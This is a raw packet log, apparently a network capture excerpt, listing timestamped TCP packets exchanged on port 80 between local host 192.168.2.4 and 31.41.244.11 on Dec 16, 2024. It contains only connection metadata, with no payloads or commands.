Dec 16, 2024 21:02:34.994235992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.994250059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.994338036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.995131969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.995183945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.995225906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.995270967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.996124983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.996176004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.996234894 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.996295929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.997155905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.997209072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.997241974 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.997292995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.998172998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.998229027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.998289108 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.998343945 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.999182940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.999294996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:34.999365091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:34.999408960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.000159025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.000211000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.000296116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.000344038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.001173019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.001223087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.001302004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.001382113 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.002166033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.002218962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.161303997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.161360979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.161362886 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.161423922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.161748886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.161777973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.161803961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.161845922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.162797928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.162827969 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.162852049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.162883043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.163595915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.163645983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.163707018 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.163757086 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.164686918 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.164762974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.164855003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.164901972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.165612936 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.165663958 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.165720940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.165776014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.166610956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.166676044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.166677952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.166733027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.167613983 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.167663097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.167726040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.167778015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.168638945 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.168690920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.168715954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.168767929 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.169754982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.169806004 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.169909954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.169971943 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.170953989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.171047926 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.171051025 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.171089888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.171837091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.171891928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.171922922 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.171977043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.172666073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.172717094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.172775030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.172822952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.173734903 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.173779964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.173897028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.173948050 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.174674988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.174726963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.174813986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.174865961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.175688028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.175736904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.175774097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.175944090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.176724911 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.176773071 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.176879883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.176928043 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.177743912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.177797079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.177846909 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.177946091 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.178746939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.178792000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.178889036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.178937912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.179733038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.179791927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.179851055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.179902077 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.180790901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.180938959 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.180954933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.181010008 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.181783915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.181834936 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.181890965 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.181941032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.182995081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.183073044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.183123112 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.183170080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.183788061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.183839083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.184021950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.184075117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.184923887 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.184990883 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.185039043 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.185100079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.185942888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.185995102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.185998917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.186048031 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.186820984 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.186891079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.186923981 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.186984062 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.188035011 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.188097954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.188273907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.188324928 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.188946962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.188999891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.189008951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.189038038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.189807892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.189872026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.189935923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.190116882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.190835953 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.190890074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.190942049 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.191041946 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.191910982 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.191962957 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.191996098 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.192042112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.193229914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.193284035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.193314075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.193360090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.193967104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.194015980 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.194152117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.194205999 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.194880962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.194932938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.195014000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.195060968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.195883989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.195936918 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.195945978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.196031094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.196903944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.196957111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.197017908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.197067976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.197877884 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.197927952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.198024988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.198103905 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.198906898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.198959112 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.199023962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.199071884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.199922085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.199973106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.199987888 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.200035095 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.200927019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.200982094 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.201081038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.201154947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.201925993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.201992989 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.202050924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.202095985 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.203064919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.203098059 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.203142881 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.204096079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.204204082 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.204211950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.204391003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.204958916 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.205018044 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.205089092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.205137968 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.206078053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.206123114 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.206172943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.206217051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.207076073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.207134962 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.207283020 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.207351923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.208137989 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.208290100 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.208337069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.209022045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.209094048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.209110022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.209228992 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.210021973 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.210082054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.210139990 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.210192919 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.211007118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.211060047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.211201906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.211267948 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.212146997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.212220907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.212291956 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.213059902 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.213112116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.213139057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.213185072 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.213978052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.214035034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.353491068 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.353559971 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.353816986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.353846073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.353873014 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.353892088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.353935957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.353996038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.354939938 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.355061054 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.355081081 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.355125904 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.355839014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.355870008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.355899096 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.355930090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.356904030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.356967926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.356998920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.357032061 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.358185053 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.358247995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.358398914 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.358443975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.359117031 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.359194040 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.359246016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.359957933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.360014915 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.360172987 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.360223055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.360964060 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.361015081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.361109972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.361162901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.361946106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.362020969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.362081051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.362133026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.362900972 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.362972975 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.363173008 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.363228083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.363897085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.363948107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.364005089 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.364676952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.364913940 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.364976883 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.365015984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.365998030 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.366086960 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.366277933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.366322994 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.366962910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.367017984 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.367083073 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.367202997 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.367948055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.368036032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.368055105 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.368098974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.369008064 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.369056940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.369101048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.369210005 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.369941950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.369993925 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.370037079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.370079041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.370959044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.371016026 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.371032000 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.371073961 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.371958017 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.372009993 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.372068882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.372297049 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.373089075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.373137951 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.373193979 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.373361111 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.374011993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.374114990 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.374186993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.374252081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.375087976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.375142097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.375273943 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.375328064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.376028061 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.376066923 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.376213074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.376295090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.377022028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.377104044 CET	80	49812	31.41.244.11	192.168.2.4
